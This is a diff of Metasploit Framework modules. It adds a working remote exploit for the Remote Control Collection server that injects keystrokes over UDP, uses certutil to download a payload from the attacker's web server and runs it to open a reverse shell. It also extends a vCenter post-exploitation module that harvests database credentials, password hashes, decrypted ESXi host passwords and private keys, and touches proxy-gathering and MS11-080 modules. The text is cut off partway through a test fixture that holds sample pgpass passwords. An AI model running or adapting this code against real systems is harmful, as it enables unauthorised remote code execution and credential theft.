%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
|
||||
%w[CVE 2011-2005],
|
||||
%w[OSVDB 76232],
|
||||
%w[EDB 18176],
|
||||
%w[MSB MS11-080],
|
||||
%w[URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/]
|
||||
],
|
||||
'DisclosureDate' => '2011-11-30',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Stability' => [
|
||||
CRASH_OS_RESTARTS
|
||||
],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK
|
||||
]
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
@@ -88,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
stdapi_sys_process_memory_write
|
||||
]
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::EXE # generate_payload_exe
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Remote Control Collection RCE',
|
||||
'Description' => %q{
|
||||
This module utilizes the Remote Control Server's, part
|
||||
of the Remote Control Collection by Steppschuh, protocol
|
||||
to deploy a payload and run it from the server. This module will only deploy
|
||||
a payload if the server is set without a password (default).
|
||||
Tested against 3.1.1.12, current at the time of module writing
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'H4rk3nz0' # edb, discovery
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'http://remote-control-collection.com' ],
|
||||
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
|
||||
],
|
||||
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' => [
|
||||
['default', {}],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp',
|
||||
'WfsDelay' => 5,
|
||||
'Autocheck' => false
|
||||
},
|
||||
'DisclosureDate' => '2022-09-20',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
|
||||
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
|
||||
OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
|
||||
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def path
|
||||
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
|
||||
|
||||
"#{datastore['PATH']}\\"
|
||||
end
|
||||
|
||||
def special_key_header
|
||||
"\x7f\x15\x02"
|
||||
end
|
||||
|
||||
def key_header
|
||||
"\x7f\x15\x01"
|
||||
end
|
||||
|
||||
def windows_key
|
||||
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
|
||||
udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def enter_key
|
||||
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def send_command(command)
|
||||
command.each_char do |c|
|
||||
udp_sock.put("#{key_header}#{c}")
|
||||
sleep(datastore['SLEEP'] / 10)
|
||||
end
|
||||
enter_key
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
|
||||
def check
|
||||
@check_run = true
|
||||
@check_success = false
|
||||
upload_file
|
||||
return Exploit::CheckCode::Vulnerable if @check_success
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _req)
|
||||
@check_success = true
|
||||
if @check_run # send a random file
|
||||
p = Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
else
|
||||
p = generate_payload_exe
|
||||
end
|
||||
send_response(cli, p)
|
||||
print_good("Request received, sending #{p.length} bytes")
|
||||
end
|
||||
|
||||
def upload_file
|
||||
connect_udp
|
||||
# send a space character to skip any screensaver
|
||||
udp_sock.put("#{key_header} ")
|
||||
print_status('Connecting and Sending Windows key')
|
||||
windows_key
|
||||
|
||||
print_status('Opening command prompt')
|
||||
send_command('cmd.exe')
|
||||
|
||||
filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
filename << '.exe' unless @check_run
|
||||
if @service_started.nil?
|
||||
print_status('Starting up our web service...')
|
||||
start_service('Path' => '/')
|
||||
@service_started = true
|
||||
end
|
||||
get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
|
||||
send_command(get_file)
|
||||
if @check_run.nil? || @check_run == true
|
||||
send_command("del #{path}#{filename} && exit")
|
||||
else
|
||||
register_file_for_cleanup("#{path}#{filename}")
|
||||
print_status('Executing payload')
|
||||
send_command("#{path}#{filename} && exit")
|
||||
end
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
def exploit
|
||||
@check_run = false
|
||||
upload_file
|
||||
end
|
||||
end
|
||||
@@ -10,9 +10,10 @@ class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Vcenter::Vcenter
|
||||
include Msf::Post::Vcenter::Database
|
||||
|
||||
Rank = ManualRanking
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
@@ -35,7 +36,11 @@ class MetasploitModule < Msf::Post
|
||||
associated private keys are also plundered and can be used to
|
||||
sign forged SAML assertions for the /ui admin interface.
|
||||
},
|
||||
'Author' => 'npm[at]cesium137.io',
|
||||
'Author' => [
|
||||
'npm[at]cesium137.io', # original vcenter secrets dump
|
||||
'Erik Wynter', # @wyntererik, postgres additions
|
||||
'h00die' # tying it all together
|
||||
],
|
||||
'Platform' => [ 'linux', 'unix' ],
|
||||
'DisclosureDate' => '2022-04-15',
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
@@ -49,12 +54,17 @@ class MetasploitModule < Msf::Post
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],
|
||||
[ 'CVE', '2022-22948' ],
|
||||
[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],
|
||||
[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
|
||||
},
|
||||
'Privileged' => true
|
||||
'Reliability' => [ ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
@@ -66,14 +76,8 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.
|
||||
def vsphere_bin
|
||||
{
|
||||
'ldapsearch' => '/opt/likewise/bin/ldapsearch'
|
||||
}
|
||||
end
|
||||
|
||||
def ldapsearch_bin
|
||||
vsphere_bin['ldapsearch']
|
||||
'/opt/likewise/bin/ldapsearch'
|
||||
end
|
||||
|
||||
def psql_bin
|
||||
@@ -88,35 +92,94 @@ class MetasploitModule < Msf::Post
|
||||
vc_type_embedded || vc_type_infrastructure
|
||||
end
|
||||
|
||||
def check_cve_2022_22948
|
||||
# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L5
|
||||
cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'
|
||||
end
|
||||
|
||||
def run
|
||||
get_vcsa_version
|
||||
|
||||
print_status('Validating target ...')
|
||||
validate_target
|
||||
|
||||
print_status('Gathering vSphere SSO domain information ...')
|
||||
vmdir_init
|
||||
|
||||
if print_status('Extracting PostgreSQL database credentials ...')
|
||||
get_db_creds
|
||||
|
||||
print_status('Extract ESXi host vpxuser credentials ...')
|
||||
enum_vpx_user_creds
|
||||
if check_cve_2022_22948
|
||||
print_good('Vulnerable to CVE-2022-22948')
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: ['CVE-2022-22948'],
|
||||
info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"
|
||||
)
|
||||
end
|
||||
|
||||
print_status('Validating target')
|
||||
validate_target
|
||||
|
||||
print_status('Gathering vSphere SSO domain information')
|
||||
vmdir_init
|
||||
|
||||
print_status('Extracting PostgreSQL database credentials')
|
||||
get_db_creds
|
||||
|
||||
print_status('Extract ESXi host vpxuser credentials')
|
||||
enum_vpx_user_creds
|
||||
|
||||
if datastore['DUMP_VMDIR'] && vcenter_infrastructure
|
||||
print_status('Extracting vSphere SSO domain secrets ...')
|
||||
print_status('Extracting vSphere SSO domain secrets')
|
||||
vmdir_dump
|
||||
end
|
||||
|
||||
if datastore['DUMP_VMAFD']
|
||||
print_status('Extracting certificates from vSphere platform ...')
|
||||
print_status('Extracting certificates from vSphere platform')
|
||||
vmafd_dump
|
||||
if datastore['DUMP_SPEC'] && vcenter_management
|
||||
print_status('Searching for secrets in VM Guest Customization Specification XML ...')
|
||||
print_status('Searching for secrets in VM Guest Customization Specification XML')
|
||||
enum_vm_cust_spec
|
||||
end
|
||||
end
|
||||
|
||||
if is_root?
|
||||
print_status('Retrieving .pgpass file')
|
||||
retrieved_pg_creds = false
|
||||
pgpass_contents = process_pgpass_file
|
||||
|
||||
pgpass_contents.each do |p|
|
||||
extra_service_data = {
|
||||
address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],
|
||||
port: p['port'],
|
||||
service_name: 'psql',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
module_fullname: fullname,
|
||||
origin_type: :service
|
||||
}
|
||||
print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")
|
||||
store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)
|
||||
next if p['database'] != 'postgres'
|
||||
|
||||
next unless retrieved_pg_creds == false
|
||||
|
||||
creds = query_pg_shadow_values(p['password'], p['username'], p['database'])
|
||||
retrieved_pg_creds = true unless creds.nil?
|
||||
creds.each do |cred|
|
||||
print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")
|
||||
credential_data = {
|
||||
username: cred['user'],
|
||||
private_data: cred['password_hash'],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
|
||||
}.merge(extra_service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(extra_service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')
|
||||
print_good("Saving the /root/.pgpass contents to #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
def vmdir_init
|
||||
@@ -141,7 +204,7 @@ class MetasploitModule < Msf::Post
|
||||
self.base_dn = vsphere_domain_dn
|
||||
vprint_status("vSphere SSO Domain DN: #{base_dn}")
|
||||
|
||||
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter ...')
|
||||
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')
|
||||
vsphere_domain_dc_dn = get_domain_dc_dn
|
||||
unless is_dn?(vsphere_domain_dc_dn)
|
||||
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')
|
||||
@@ -188,23 +251,23 @@ class MetasploitModule < Msf::Post
|
||||
p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')
|
||||
print_good("LDIF Dump: #{p}")
|
||||
|
||||
print_status('Processing vmdir LDIF (this may take several minutes) ...')
|
||||
print_status('Processing vmdir LDIF (this may take several minutes)')
|
||||
ldif_file = ::File.open(p, 'rb')
|
||||
ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)
|
||||
|
||||
print_status('Processing LDIF entries ...')
|
||||
print_status('Processing LDIF entries')
|
||||
entries = ldif_data.to_entries
|
||||
|
||||
print_status('Processing SSO account hashes ...')
|
||||
print_status('Processing SSO account hashes')
|
||||
vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }
|
||||
process_hashes(vmware_sso_hash_entries)
|
||||
|
||||
print_status('Processing SSO identity sources ...')
|
||||
print_status('Processing SSO identity sources')
|
||||
vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }
|
||||
process_sso_providers(vmware_sso_id_entries)
|
||||
|
||||
if datastore['DUMP_LIC']
|
||||
print_status('Extract licenses from vCenter platform ...')
|
||||
print_status('Extract licenses from vCenter platform')
|
||||
vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }
|
||||
get_vc_licenses(vmware_license_entries)
|
||||
end
|
||||
@@ -237,7 +300,7 @@ class MetasploitModule < Msf::Post
|
||||
def get_vecs_entry(store_name, vecs_entry)
|
||||
store_label = store_name.upcase
|
||||
|
||||
vprint_status("Extract #{store_label} key ...")
|
||||
vprint_status("Extract #{store_label} key")
|
||||
key = get_vecs_private_key(store_name, vecs_entry['Alias'])
|
||||
if key.nil?
|
||||
print_bad("Could not extract #{store_label} private key")
|
||||
@@ -246,7 +309,7 @@ class MetasploitModule < Msf::Post
|
||||
print_good("#{store_label} Key: #{p}")
|
||||
end
|
||||
|
||||
vprint_status("Extract #{store_label} certificate ...")
|
||||
vprint_status("Extract #{store_label} certificate")
|
||||
cert = validate_x509_cert(vecs_entry['Certificate'])
|
||||
if cert.nil?
|
||||
print_bad("Could not extract #{store_label} certificate")
|
||||
@@ -261,7 +324,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def get_vmca_cert
|
||||
vprint_status('Extract VMCA_ROOT key ...')
|
||||
vprint_status('Extract VMCA_ROOT key')
|
||||
|
||||
unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')
|
||||
print_error('Could not locate VMCA_ROOT keypair')
|
||||
@@ -279,7 +342,7 @@ class MetasploitModule < Msf::Post
|
||||
p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')
|
||||
print_good("VMCA_ROOT key: #{p}")
|
||||
|
||||
vprint_status('Extract VMCA_ROOT cert ...')
|
||||
vprint_status('Extract VMCA_ROOT cert')
|
||||
vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')
|
||||
|
||||
vmca_cert = validate_x509_cert(vmca_cert_b64)
|
||||
@@ -488,7 +551,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def get_idp_creds
|
||||
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP ...')
|
||||
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')
|
||||
idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
|
||||
if idp_keys.nil?
|
||||
print_error('Error processing IdP trusted certificate private key')
|
||||
@@ -501,7 +564,7 @@ class MetasploitModule < Msf::Post
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status('Parsing vmwSTSTenantCredential certificates and keys ...')
|
||||
vprint_status('Parsing vmwSTSTenantCredential certificates and keys')
|
||||
|
||||
# vCenter vmdir stores the STS IdP signing credential under the following DN:
|
||||
# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>
|
||||
@@ -590,7 +653,7 @@ class MetasploitModule < Msf::Post
|
||||
enc_cert_der = []
|
||||
der_idx = 0
|
||||
|
||||
print_status('Validating data encipherment key ...')
|
||||
print_status('Validating data encipherment key')
|
||||
while der_idx <= enc_cert_len - 1
|
||||
enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i
|
||||
der_idx += 1
|
||||
@@ -759,13 +822,55 @@ class MetasploitModule < Msf::Post
|
||||
}
|
||||
|
||||
store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)
|
||||
print_status('Checking for VPX Users')
|
||||
creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)
|
||||
if creds.nil?
|
||||
print_bad('No VPXUSER entries were found')
|
||||
return
|
||||
end
|
||||
creds.each do |cred|
|
||||
extra_service_data = {
|
||||
address: cred['ip_address'],
|
||||
service_name: 'vpx',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
||||
realm_value: vcdb_name
|
||||
}
|
||||
if cred.key? 'decrypted_password'
|
||||
print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")
|
||||
credential_data = {
|
||||
username: cred['user'],
|
||||
private_data: cred['decrypted_password'],
|
||||
private_type: :password
|
||||
}.merge(extra_service_data)
|
||||
else
|
||||
print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")
|
||||
credential_data = {
|
||||
username: cred['user'],
|
||||
private_data: cred['password_hash'],
|
||||
private_type: :nonreplayable_hash
|
||||
# this is encrypted, not hashed, so no need for the following line, leaving it as a note
|
||||
# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
|
||||
}.merge(extra_service_data)
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(extra_service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
|
||||
def validate_sts_cert(test_cert)
|
||||
cert = validate_x509_cert(test_cert)
|
||||
return false if cert.nil?
|
||||
|
||||
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter ...')
|
||||
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')
|
||||
|
||||
idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")
|
||||
|
||||
@@ -795,15 +900,6 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def validate_target
|
||||
# this enumeration phase will also go away once the sso part moves to lib
|
||||
vprint_status('Enumerating universal vSphere binaries ...')
|
||||
vsphere_bin.each do |k, v|
|
||||
vprint_good("\t#{k}: #{v}")
|
||||
unless command_exists?(v)
|
||||
fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{v}")
|
||||
end
|
||||
end
|
||||
|
||||
if vcenter_management
|
||||
vc_db_type = get_database_type
|
||||
unless vc_db_type == 'embedded'
|
||||
|
||||
@@ -25,7 +25,12 @@ class MetasploitModule < Msf::Post
|
||||
'Aaron Soto <aaron_soto[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||
'SessionTypes' => %w[meterpreter powershell shell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -4,7 +4,8 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Post::Windows::Services
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Services
|
||||
|
||||
def initialize
|
||||
super(
|
||||
@@ -12,12 +13,17 @@ class MetasploitModule < Msf::Post
|
||||
'Description' => %q{
|
||||
This module pulls a user's proxy settings. If neither RHOST or SID
|
||||
are set it pulls the current user, else it will pull the user's settings
|
||||
specified SID and target host.
|
||||
for the specified SID and target host.
|
||||
},
|
||||
'Author' => [ 'mubix' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'SessionTypes' => %w[meterpreter powershell shell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -28,80 +34,84 @@ class MetasploitModule < Msf::Post
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
|
||||
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
|
||||
]
|
||||
)
|
||||
register_options([
|
||||
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
|
||||
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['SID']
|
||||
root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
|
||||
root_key, base_key = split_key("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
|
||||
else
|
||||
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
|
||||
root_key, base_key = split_key('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections')
|
||||
end
|
||||
|
||||
if datastore['RHOST']
|
||||
if session.type != 'meterpreter'
|
||||
fail_with(Failure::BadConfig, "Cannot query remote registry on #{datastore['RHOST']}. Unsupported sesssion type #{session.type}")
|
||||
end
|
||||
|
||||
begin
|
||||
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
|
||||
print_status("Attempting to start service remotely...")
|
||||
print_status('Attempting to start RemoteRegistry service remotely...')
|
||||
begin
|
||||
service_start('RemoteRegistry', datastore['RHOST'])
|
||||
rescue
|
||||
print_error('Unable to read registry or start the service, exiting...')
|
||||
return
|
||||
rescue StandardError
|
||||
fail_with(Failure::Unknown, 'Unable to start RemoteRegistry service, exiting...')
|
||||
end
|
||||
startedreg = true
|
||||
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
|
||||
end
|
||||
|
||||
open_key = key.open_key(base_key)
|
||||
values = open_key.query_value('DefaultConnectionSettings')
|
||||
data = values.data
|
||||
|
||||
# If we started the service we need to stop it.
|
||||
service_stop('RemoteRegistry', datastore['RHOST']) if startedreg
|
||||
else
|
||||
open_key = session.sys.registry.open_key(root_key, base_key)
|
||||
data = registry_getvaldata("#{root_key}\\#{base_key}", 'DefaultConnectionSettings')
|
||||
end
|
||||
|
||||
values = open_key.query_value('DefaultConnectionSettings')
|
||||
fail_with(Failure::Unknown, "Could not retrieve 'DefaultConnectionSettings' data") if data.blank?
|
||||
fail_with(Failure::Unknown, "Retrieved malformed proxy settings (too small: #{data.length} bytes <= 24 bytes)") if data.length <= 24
|
||||
|
||||
# If we started the service we need to stop it.
|
||||
service_stop('RemoteRegistry', datastore['RHOST']) if startedreg
|
||||
print_status("Proxy Counter = #{data[4, 1].unpack('C*')[0]}")
|
||||
|
||||
data = values.data
|
||||
|
||||
print_status "Proxy Counter = #{(data[4, 1].unpack('C*'))[0]}"
|
||||
case (data[8, 1].unpack('C*'))[0]
|
||||
case data[8, 1].unpack('C*')[0]
|
||||
when 1
|
||||
print_status "Setting: No proxy settings"
|
||||
print_status('Setting: No proxy settings')
|
||||
when 3
|
||||
print_status "Setting: Proxy server"
|
||||
print_status('Setting: Proxy server')
|
||||
when 5
|
||||
print_status "Setting: Set proxy via AutoConfigure script"
|
||||
print_status('Setting: Set proxy via AutoConfigure script')
|
||||
when 7
|
||||
print_status "Setting: Proxy server and AutoConfigure script"
|
||||
print_status('Setting: Proxy server and AutoConfigure script')
|
||||
when 9
|
||||
print_status "Setting: WPAD"
|
||||
print_status('Setting: WPAD')
|
||||
when 11
|
||||
print_status "Setting: WPAD and Proxy server"
|
||||
print_status('Setting: WPAD and Proxy server')
|
||||
when 13
|
||||
print_status "Setting: WPAD and AutoConfigure script"
|
||||
print_status('Setting: WPAD and AutoConfigure script')
|
||||
when 15
|
||||
print_status "Setting: WPAD, Proxy server and AutoConfigure script"
|
||||
print_status('Setting: WPAD, Proxy server and AutoConfigure script')
|
||||
else
|
||||
print_status "Setting: Unknown proxy setting found"
|
||||
print_status('Setting: Unknown proxy setting found')
|
||||
end
|
||||
|
||||
cursor = 12
|
||||
proxyserver = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
|
||||
print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
|
||||
proxyserver = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
|
||||
print_status("Proxy Server: #{proxyserver}") unless proxyserver.blank?
|
||||
|
||||
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
|
||||
additionalinfo = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
|
||||
print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
|
||||
cursor = cursor + 4 + data[cursor].unpack('C*')[0]
|
||||
additionalinfo = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
|
||||
print_status("Additional Info: #{additionalinfo}") unless additionalinfo.blank?
|
||||
|
||||
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
|
||||
autoconfigurl = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
|
||||
print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
|
||||
cursor = cursor + 4 + data[cursor].unpack('C*')[0]
|
||||
autoconfigurl = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
|
||||
print_status("AutoConfigURL: #{autoconfigurl}") unless autoconfigurl.blank?
|
||||
end
|
||||
end
|
||||
|
||||
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the the key combinations required to invoke the exploit once installed.
|
||||
# Returns the key combinations required to invoke the exploit once installed.
|
||||
#
|
||||
def get_target_key_combo
|
||||
case datastore['TARGET']
|
||||
|
||||
@@ -0,0 +1,274 @@
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Post::Vcenter::Database do
|
||||
subject do
|
||||
mod = Msf::Module.new
|
||||
mod.extend(Msf::Post::Vcenter::Database)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#process_pgpass_file' do
|
||||
context 'when the file does not exist' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:file_exist?).and_return(false)
|
||||
expect(subject.process_pgpass_file).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the file is empty' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:file_exist?).and_return(true)
|
||||
allow(subject).to receive(:read_file).and_return('')
|
||||
expect(subject.process_pgpass_file).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the file has several credentials' do
|
||||
it 'returns a list of hashes with the credentials' do
|
||||
allow(subject).to receive(:file_exist?).and_return(true)
|
||||
allow(subject).to receive(:read_file).and_return('localhost:5432:replication:replicator:BN^qgk&a)Ee2dK@|
|
||||
127.0.0.1:5432:replication:replicator:BN^qgk&a)Ee2dK@|
|
||||
/var/run/vpostgres:5432:replication:replicator:BN^qgk&a)Ee2dK@|
|
||||
localhost:5432:postgres:postgres:i23rYgoPBQwpn!5
|
||||
127.0.0.1:5432:postgres:postgres:i23rYgoPBQwpn!5')
|
||||
expect(subject.process_pgpass_file).to eq([
|
||||
{
|
||||
'database' => 'replication',
|
||||
'hostname' => 'localhost',
|
||||
'password' => 'BN^qgk&a)Ee2dK@|',
|
||||
'port' => '5432',
|
||||
'username' => 'replicator'
|
||||
},
|
||||
{
|
||||
'database' => 'replication',
|
||||
'hostname' => '127.0.0.1',
|
